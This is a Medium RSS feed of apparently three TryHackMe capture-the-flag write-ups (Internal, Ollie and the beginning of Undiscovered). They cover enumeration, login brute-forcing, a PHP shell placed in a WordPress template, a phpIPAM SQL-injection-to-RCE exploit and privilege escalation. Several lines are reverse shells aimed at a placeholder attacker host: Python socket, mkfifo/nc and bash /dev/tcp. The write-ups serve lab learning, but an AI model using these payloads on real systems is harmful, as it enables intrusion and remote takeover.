<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aaryan Khairnar on Medium]]></title>
        <description><![CDATA[Stories by Aaryan Khairnar on Medium]]></description>
        <link>https://medium.com/@aaryankhairnar.amk?source=rss-df7b9803464d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sKEyizHWcXK4_e05kyalVw.jpeg</url>
            <title>Stories by Aaryan Khairnar on Medium</title>
            <link>https://medium.com/@aaryankhairnar.amk?source=rss-df7b9803464d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:54:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aaryankhairnar.amk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Internal | TryHackMe Writeup]]></title>
            <link>https://medium.com/@aaryankhairnar.amk/internal-tryhackme-writeup-6d1c18306b3f?source=rss-df7b9803464d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d1c18306b3f</guid>
            <category><![CDATA[tryhackme-rootme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Aaryan Khairnar]]></dc:creator>
            <pubDate>Sun, 01 Feb 2026 15:46:17 GMT</pubDate>
            <atom:updated>2026-02-01T15:46:17.713Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, this is @bhairoba on TryHackMe</p><p>Internal is a hard difficulty room, but it is not as hard. <br>This writeup walks through my approach step by step.</p><p><a href="https://tryhackme.com/room/internal">Internal</a></p><p>Instructions say:</p><pre>Ensure that you modify your hosts file to reflect internal.thm</pre><pre>&gt; sudo nano /etc/hosts<br><br>[machine ip]  internal.thm</pre><p>Nmap scans:</p><pre>&gt; sudo nmap -p- -Pn -T4 [machine ip]<br><br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><pre>&gt; sudo nmap -sC -sV -Pn -T4 [machine ip] -p 22,80<br><br>PORT   STATE SERVICE VERSION<br><br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)<br>|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)<br>|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)<br><br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Checking website on port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xclwf4pFrnsbwa-9ujqkRQ.png" /></figure><p>I scan for other directories using dirsearch:</p><pre>&gt; python dirsearch.py -u http://internal.thm/<br><br>  _|. _ _  _  _  _ _|_    v0.4.3<br> (_||| _) (/_(_|| (_| )<br><br>Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12293<br><br>Target: http://internal.thm/<br><br>[18:39:01] Scanning: <br>[18:39:04] 403 -   277B - /.php<br>[18:39:10] 301 -   311B - /blog  -&gt;  http://internal.thm/blog/<br>[18:39:11] 200 -    4KB - /blog/wp-login.php<br>[18:39:11] 200 -   53KB - /blog/<br>[18:39:14] 200 -   11KB - /index.html<br>[18:39:14] 301 -   317B - /javascript  -&gt;  http://internal.thm/javascript/<br>[18:39:17] 301 -   317B - /phpmyadmin  -&gt;  http://internal.thm/phpmyadmin/<br>[18:39:17] 200 -   13KB - /phpmyadmin/doc/html/index.html<br>[18:39:17] 200 -   10KB - /phpmyadmin/<br>[18:39:17] 200 -   10KB - /phpmyadmin/index.php<br>[18:39:18] 403 -   277B - /server-status<br>[18:39:18] 403 -   277B - /server-status/<br>[18:39:21] 200 -    4KB - /wordpress/wp-login.php<br>[18:39:21] 404 -   51KB - /wordpress/</pre><p>So a wordpress blog lives on this website,<br>Navigate to <a href="http://internal.thm/blog/">http://internal.thm/blog/</a> you can see a wordpress blog website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrRLB6gQWfaKINmPEAlyjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYBof8yM_GFU0rYIVLwJJw.png" /></figure><p>On <a href="http://internal.thm/blog/wp-login.php">http://internal.thm/blog/wp-login.php</a> you can see wordpress login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*6l4dEfmyPi10brswIrq6Nw.png" /></figure><p>Next, I enumerate usernames with wpscan</p><pre>wpscan --url http://internal.thm/blog/ -e u<br><br><br>[i] User(s) Identified:<br><br>[+] admin<br> | Found By: Author Posts - Author Pattern (Passive Detection)<br> | Confirmed By:<br> |  Rss Generator (Passive Detection)<br> |  Wp Json Api (Aggressive Detection)<br> |   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1<br> |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br> |  Login Error Messages (Aggressive Detection)</pre><p>So ‘admin’ is a username, Next I conduct a bruteforce attack on wordpress</p><pre>wpscan --url http://internal.thm/blog/wp-login.php -U admin -P /usr/share/wordlists/seclists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wOn9EfbK3EQ8nJzvBQhyTA.png" /></figure><p>Login to wordpress using the given credentials, I get into the admin panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elSFufzzWqC2LrQ26Y2eHA.png" /></figure><p>When I click on the private post with no title, it reveals this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*K3tgiTN_yjoSuD1hCqyQkA.png" /><figcaption>Credentials just lying around</figcaption></figure><p>To get initial foothold, go to Appearance &gt; Theme Editor &gt; 404 Template</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y2tgwlPFAvNSbEGZxJPlmA.png" /></figure><p>Add php shell in it, then click on update file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*q_ehnZMkMm1y4T-gyalBkw.png" /></figure><p>Keep listening to incoming connections, I used multi/handler from metasploit framework.<br>Head to: <a href="http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php"><em>http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php</em></a></p><p>I got the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvYRYLBWTTfRcqXwC5eTNA.png" /></figure><p>I stabilized the shell with the following commands:</p><pre>/usr/bin/script -qc /bin/bash /dev/null<br><br>export TERM=xterm<br><br>export SHELL=/bin/bash</pre><p>Once I enumerate more, I find some more credentials lying in plain sight<br>Aubreanna’s credentials lying in /opt directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7Q6IQDSw6StuA4dnPBtJw.png" /></figure><p>Switching user and getting user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrGZzLBuL6u_pHq9-cZ0gA.png" /></figure><p>I read jenkins.txt lying in Aubreanna’s home directory, it reads</p><pre>aubreanna@internal:~$ cat jenkins.txt<br><br>Internal Jenkins service is running on 172.17.0.2:8080</pre><p>So some internal service is running, at a port<br>The next vector can be port forwarding the service to our local machine so we can access it</p><pre>ssh user@machine-ip -L [local-port]:[internal-ip]:[internal-port]<br><br>ssh aubreanna@10.49.134.11 -L 1234:172.17.0.2:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*lEep6db6APioCZTQcE9mTQ.png" /></figure><p>I headed to <a href="http://localhost:1234/login?from=%2F">http://localhost:1234/</a> (1234 is the port I used)<br>I see the Jenkin login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6siHpi_MoiprAUUZETo5Q.png" /></figure><p>Bruteforce attack on Jenkins portal:</p><p>I first intercept the post request on burpsuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Mk7IDIlAYo2ry8Zuew7HQ.png" /></figure><p>Copy its contents and save it to req.txt, add the FUZZ</p><pre>POST /j_acegi_security_check HTTP/1.1<br>Host: localhost:1234<br>Content-Length: 60<br>Cache-Control: max-age=0<br>sec-ch-ua: &quot;Chromium&quot;;v=&quot;143&quot;, &quot;Not A(Brand&quot;;v=&quot;24&quot;<br>sec-ch-ua-mobile: ?0<br>sec-ch-ua-platform: &quot;Linux&quot;<br>Accept-Language: en-US,en;q=0.9<br>Origin: http://localhost:1234<br>Content-Type: application/x-www-form-urlencoded<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: http://localhost:1234/login?from=%2F<br>Accept-Encoding: gzip, deflate, br<br>Connection: keep-alive<br><br>j_username=admin&amp;j_password=FUZZ&amp;from=%2F&amp;Submit=Sign+in</pre><pre>ffuf --request req.txt --request-proto http -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt:FUZZ -fw 1<br><br>admin:s******ob</pre><p>With the given credentials I can login to Jenkins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZFxxJfT7JRHmGGj67Uu-Q.png" /></figure><p>Go to New Item &gt; Name your project &gt;Freestyle Project</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOjUt-69PPQdj2mDoZa_NA.png" /></figure><p>Go to build &gt; add Build step &gt; execute shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrVRMSEY0YY4hJZli0DcfQ.png" /></figure><p>Put a simple python reverse shell payload</p><pre>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;[attacker-ip]&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ssqRlsnZBc7ZJfcZZSEFA.png" /></figure><p>Open a Listener, I started one on multi/handler<br>Save &gt; Build Now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*IphIqi6y_KFhl1i1F6GDlA.png" /></figure><p>You get the reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FLY61vUVFOFMGJuoO9RjdQ.png" /></figure><p>Navigating to the /opt we find a note, in which root credentials are stored</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfHVZRIm-Wn-c_Lpn0c93Q.png" /></figure><p>We can switch user in our ssh session, su root and I get the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*xRg4UnhCgqmTlnNNmqyeeg.png" /></figure><p>Machine completed.</p><p>Let’s be mutuals<br>TryHackMe: <a href="https://tryhackme.com/p/bhairoba">https://tryhackme.com/p/bhairoba</a><br>X: <a href="https://x.com/AaryanKhairnar">https://x.com/AaryanKhairnar</a><br>Linkedin: <a href="https://www.linkedin.com/in/aaryankhairnar/">https://www.linkedin.com/in/aaryankhairnar/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d1c18306b3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ollie | Tryhackme Writeup]]></title>
            <link>https://medium.com/@aaryankhairnar.amk/ollie-tryhackme-writeup-8e3032e6aa5d?source=rss-df7b9803464d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e3032e6aa5d</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ollie]]></category>
            <dc:creator><![CDATA[Aaryan Khairnar]]></dc:creator>
            <pubDate>Sat, 24 Jan 2026 09:17:47 GMT</pubDate>
            <atom:updated>2026-01-24T09:17:47.349Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, this is @bhairoba on TryHackMe</p><p>Ollie is a medium difficulty room about the world’s most powerful hacker dog! Room is created by 0day. This writeup walks through my approach step by step.</p><p><a href="https://tryhackme.com/room/ollie">https://tryhackme.com/room/ollie</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T7KpmsPCK8otQVF8jtTjvA.png" /><figcaption>Rip ollie he was such an adorable doggo</figcaption></figure><p>Start with initial nmap scan</p><pre>sudo nmap -Pn -p- -T4 [machine-ip]<br><br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>80/tcp   open  http<br>1337/tcp open  waste</pre><p>With three ports open we can move to an advanced scan</p><pre>sudo nmap -Pn -sC -sV -T4 [machine-ip] -p 22,80,1337<br><br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 1c:d3:00:ae:5f:c6:f6:fe:b7:ed:30:6a:50:6c:a0:fd (RSA)<br>|   256 5d:0e:3a:3a:08:7d:5b:1c:21:f2:9d:22:ab:b4:22:da (ECDSA)<br>|_  256 5b:2b:f9:12:47:e3:69:98:d6:07:75:80:da:af:d2:78 (ED25519)<br><br>80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>| http-title: Ollie :: login<br>|_Requested resource was http://10.49.128.116/index.php?page=login<br>| http-robots.txt: 2 disallowed entries <br>|_/ /immaolllieeboyyy<br><br>1337/tcp open  waste?<br>| fingerprint-strings: <br>|   DNSStatusRequestTCP, GenericLines: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name? What&#39;s up, <br>|     It&#39;s been a while. What are you here for?<br>|   DNSVersionBindReqTCP: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name? What&#39;s up, <br>|     bind<br>|     It&#39;s been a while. What are you here for?<br>|   GetRequest: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name? What&#39;s up, Get / http/1.0<br>|     It&#39;s been a while. What are you here for?<br>|   HTTPOptions: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name? What&#39;s up, Options / http/1.0<br>|     It&#39;s been a while. What are you here for?<br>|   Help: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name? What&#39;s up, Help<br>|     It&#39;s been a while. What are you here for?<br>|   NULL, RPCCheck: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name?<br>|   RTSPRequest: <br>|     Hey stranger, I&#39;m Ollie, protector of panels, lover of deer antlers.<br>|     What is your name? What&#39;s up, Options / rtsp/1.0<br>|_    It&#39;s been a while. What are you here for?<br>1 service unrecognized despite returning data. =<br>SF-Port1337-TCP:V=7.98%I=7%D=1/24%Time=69745315%P=x86_64-pc-linux-gnu%r(NU<br>SF:LL,59,&quot;Hey\x20stranger,\x20I&#39;m\x20Ollie,\x20protector\x20of\x20panels,\<br>SF:x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20<br>SF:&quot;)%r(GenericLines,93,&quot;Hey\x20stranger,\x20I&#39;m\x20Ollie,\x20protector\x2<br>SF:0of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\x20you<br>SF:r\x20name\?\x20What&#39;s\x20up,\x20\r\n\r!\x20It&#39;s\x20been\x20a\x20while\.<br>SF:\x20What\x20are\x20you\x20here\x20for\?\x20&quot;)%r(GetRequest,A1,&quot;Hey\x20s<br>SF:tranger,\x20I&#39;m\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\<br>SF:x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What&#39;s\x20up,\x<br>SF:20Get\x20/\x20http/1\.0\r\n\r!\x20It&#39;s\x20been\x20a\x20while\.\x20What\<br>SF:x20are\x20you\x20here\x20for\?\x20&quot;)%r(HTTPOptions,A5,&quot;Hey\x20stranger,<br>SF:\x20I&#39;m\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\<br>SF:x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What&#39;s\x20up,\x20Option<br>SF:s\x20/\x20http/1\.0\r\n\r!\x20It&#39;s\x20been\x20a\x20while\.\x20What\x20a<br>SF:re\x20you\x20here\x20for\?\x20&quot;)%r(RTSPRequest,A5,&quot;Hey\x20stranger,\x20<br>SF:I&#39;m\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20a<br>SF:ntlers\.\n\nWhat\x20is\x20your\x20name\?\x20What&#39;s\x20up,\x20Options\x2<br>SF:0/\x20rtsp/1\.0\r\n\r!\x20It&#39;s\x20been\x20a\x20while\.\x20What\x20are\x<br>SF:20you\x20here\x20for\?\x20&quot;)%r(RPCCheck,59,&quot;Hey\x20stranger,\x20I&#39;m\x20<br>SF:Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\<br>SF:.\n\nWhat\x20is\x20your\x20name\?\x20&quot;)%r(DNSVersionBindReqTCP,B0,&quot;Hey\<br>SF:x20stranger,\x20I&#39;m\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x2<br>SF:0of\x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What&#39;s\x20u<br>SF:p,\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0\x10\0<br>SF:\x03!\x20It&#39;s\x20been\x20a\x20while\.\x20What\x20are\x20you\x20here\x20<br>SF:for\?\x20&quot;)%r(DNSStatusRequestTCP,9E,&quot;Hey\x20stranger,\x20I&#39;m\x20Ollie,<br>SF:\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nW<br>SF:hat\x20is\x20your\x20name\?\x20What&#39;s\x20up,\x20\0\x0c\0\0\x10\0\0\0\0\<br>SF:0\0\0\0\0!\x20It&#39;s\x20been\x20a\x20while\.\x20What\x20are\x20you\x20her<br>SF:e\x20for\?\x20&quot;)%r(Help,95,&quot;Hey\x20stranger,\x20I&#39;m\x20Ollie,\x20protec<br>SF:tor\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\<br>SF:x20your\x20name\?\x20What&#39;s\x20up,\x20Help\r!\x20It&#39;s\x20been\x20a\x20w<br>SF:hile\.\x20What\x20are\x20you\x20here\x20for\?\x20&quot;);<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>At port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ib2WarUVCr-94q-Abmk78g.png" /><figcaption>I see a login page</figcaption></figure><p>Scanning directories on port 80 using dirsearch</p><pre><br>python dirsearch.py -u http://machine-ip/<br><br>Target: http://machine-ip/<br><br>[12:36:22] Scanning: <br>[12:36:25] 403 -   277B - /.php<br>[12:36:31] 301 -   310B - /api  -&gt;  http://10.49.177.33/api/<br>[12:36:31] 503 -    69B - /api/<br>[12:36:32] 301 -   310B - /app  -&gt;  http://10.49.177.33/app/<br>[12:36:32] 403 -   277B - /app/.htaccess<br>[12:36:32] 200 -    4KB - /app/<br>[12:36:34] 200 -     0B - /config.php<br>[12:36:34] 301 -   310B - /css  -&gt;  http://10.49.177.33/css/<br>[12:36:35] 301 -   309B - /db  -&gt;  http://10.49.177.33/db/<br>[12:36:35] 200 -    1KB - /db/<br>[12:36:36] 301 -   316B - /functions  -&gt;  http://10.49.177.33/functions/<br>[12:36:36] 200 -    4KB - /functions/<br>[12:36:37] 302 -     0B - /index.php  -&gt;  http://10.49.177.33/index.php?page=login<br>[12:36:37] 302 -     0B - /index.php/login/  -&gt;  http://10.49.177.33/index.php?page=login<br>[12:36:38] 301 -   314B - /install  -&gt;  http://10.49.177.33/install/<br>[12:36:38] 200 -   111B - /INSTALL.txt<br>[12:36:38] 200 -    2KB - /install/<br>[12:36:38] 200 -    2KB - /install/index.php?upgrade/<br>[12:36:38] 301 -   317B - /javascript  -&gt;  http://10.49.177.33/javascript/<br>[12:36:38] 301 -   309B - /js  -&gt;  http://10.49.177.33/js/<br>[12:36:38] 200 -    4KB - /js/<br>[12:36:40] 301 -   311B - /misc  -&gt;  http://10.49.177.33/misc/<br>[12:36:42] 200 -    2KB - /README.md<br>[12:36:43] 200 -    54B - /robots.txt<br>[12:36:43] 403 -   277B - /server-status/<br>[12:36:43] 403 -   277B - /server-status<br>[12:36:45] 301 -   314B - /upgrade  -&gt;  http://10.49.177.33/upgrade/</pre><p>At port 1337<br>It is a port listening on netcat, it gave us username and password after answering some questions</p><pre>nc [machine-ip] 1337</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3xag-MNqufCjRQ-OzHnQWw.png" /></figure><p>I can login with these credentials on port 80 login panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*u473Y4KHpVKSCfvtq4ZftA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3HsYvqXv7DbfznCrLIar5w.png" /><figcaption>ollie is so cute :P</figcaption></figure><p>The dashboard is for IP address management:<br>phpIPAM IP address management 1.4.5<br>In this version there is an RCE vulnurability</p><p>Github link: <a href="https://github.com/behindsecurity/phpipam-rce-authenticated/tree/main">https://github.com/behindsecurity/phpipam-rce-authenticated/</a></p><p>This exploit drops a php backdoor through SQL injection and you can execute the command in your arguments</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CshfQqMPasFxyUIeli1Vxw.png" /><figcaption>SQL injection to RCE</figcaption></figure><p>Next, clone github repo and exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqWo47SMOPeTF5ILzGNhhA.png" /></figure><pre>python3 50963.py -url http://machine-ip/ -usr admin -pwd [password] -cmd &#39;id&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NI4Bf_2b0a__qqqoHoQA2w.png" /></figure><p>The php backdoor is uploaded on the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PgAcLL1eMeJBu3dZS4F9wQ.png" /><figcaption>evil.php RCE</figcaption></figure><p>I can also fetch /etc/passwd, as we can see ‘ollie’ is present as a user</p><pre>ollie:x:1000:1000:ollie unix montgomery:/home/ollie:/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Q2hAa4at5-2A8DOzEoE8w.png" /></figure><p>Now getting a reverse shell is easy, open a listener on our machine.</p><p>I use a web based reverse shell</p><p>cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%20[Attacker-ip]%20[Attacker-port]%20%3E%2Ftmp%2Ff</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDSRd2oputfXpvzsMk3HWA.png" /></figure><p>We got the reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xEnyacm7smRjk0DpvDXGkg.png" /></figure><p>Stabilize the shell using the following commands:</p><pre>/usr/bin/script -qc /bin/bash /dev/null<br><br>export TERM=xterm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*z2qjuC4it50sgXh6tpf5HQ.png" /></figure><p>Further enumeration: only ollie can read user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*6l-1XjMtyK1YTcsBBM4uCg.png" /></figure><p>I try switching to ollie, using the same credentials we got from netcat at port 1337</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*lF5cJKwzIfpwKAB2JTvEhg.png" /></figure><p>Got user.txt</p><p>I tried to find writable files, I ended up finding a very suspicious file: /usr/bin/feedme</p><pre>find / -writable -type f 2&gt;/dev/null </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2odJVZAixW8Hk5WkPpAj1A.png" /></figure><p>/usr/bin/feedme is writeable by the members of group ollie, which we are a part of and it is also owned by root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cb60gHL00X4Mqkq7Jbi5Jg.png" /></figure><p>I added a reverse shell in feedme</p><pre>echo &#39;bash -i &gt;&amp; /dev/tcp/[Attacker-ip]/1234 0&gt;&amp;1&#39; &gt;&gt; /usr/bin/feedme</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rp69Vb4_0YSKSpH-sp8Qgw.png" /></figure><p>And in a few seconds I got root reverse shell on my device</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fx8_oOGEztmEFpJF-4dchw.png" /></figure><p>Got the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*B0lS3Xrs1pBMCP7B7b82Hg.png" /><figcaption>I wish I could give ollie some chicken fries</figcaption></figure><p>Machine completed.</p><p>Let’s be mutuals<br>TryHackMe: <a href="https://tryhackme.com/p/bhairoba">https://tryhackme.com/p/bhairoba</a><br>X: <a href="https://x.com/AaryanKhairnar">https://x.com/AaryanKhairnar</a><br>Linkedin: <a href="https://www.linkedin.com/in/aaryankhairnar/">https://www.linkedin.com/in/aaryankhairnar/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e3032e6aa5d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Undiscovered | TryHackMe Writeup]]></title>
            <link>https://medium.com/@aaryankhairnar.amk/undiscovered-tryhackme-writeup-e2c5dc13816e?source=rss-df7b9803464d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2c5dc13816e</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[undiscovered]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Aaryan Khairnar]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 12:38:34 GMT</pubDate>
            <atom:updated>2026-01-18T12:41:46.773Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, this is @bhairoba on TryHackMe</p><p>Undiscovered is a medium-difficulty TryHackMe room focused on web enumeration, CMS exploitation, NFS misconfiguration, and Linux privilege escalation. This writeup walks through my approach step by step.<br><a href="https://tryhackme.com/room/undiscoveredup">https://tryhackme.com/room/undiscoveredup</a></p><p>On the room description they mention: <br>Please consider adding <strong>undiscovered.thm</strong> in /etc/hosts</p><pre>sudo nano /etc/hosts<br><br>[machine ip address]    undiscovered.thm   </pre><p>Next step is Reconnaissance: Run Nmap scans on the ip address</p><pre>sudo nmap -Pn -p- -T4 [machine ip address]<br><br>Nmap scan report for undiscovered.thm <br>Host is up (0.027s latency).<br>Not shown: 65530 closed tcp ports (reset)<br>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>80/tcp    open  http<br>111/tcp   open  rpcbind<br>2049/tcp  open  nfs<br>44466/tcp open  unknown</pre><p>Running a more deeper Nmap scan on all the ports:</p><pre>sudo nmap -sC -sV -sU -Pn [machine ip address] -p 22,80,111,2049,44466<br><br>Nmap scan report for undiscovered.thm<br>Host is up (0.029s latency).<br>PORT      STATE SERVICE  VERSION<br><br>22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c4:76:81:49:50:bb:6f:4f:06:15:cc:08:88:01:b8:f0 (RSA)<br>|   256 2b:39:d9:d9:b9:72:27:a9:32:25:dd:de:e4:01:ed:8b (ECDSA)<br>|_  256 2a:38:ce:ea:61:82:eb:de:c4:e0:2b:55:7f:cc:13:bc (ED25519)<br><br>80/tcp    open  http     Apache httpd 2.4.18<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br><br>111/tcp   open  rpcbind  2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  2,3,4       2049/tcp   nfs<br>|   100003  2,3,4       2049/tcp6  nfs<br>|   100003  2,3,4       2049/udp   nfs<br>|   100003  2,3,4       2049/udp6  nfs<br>|   100021  1,3,4      43062/tcp6  nlockmgr<br>|  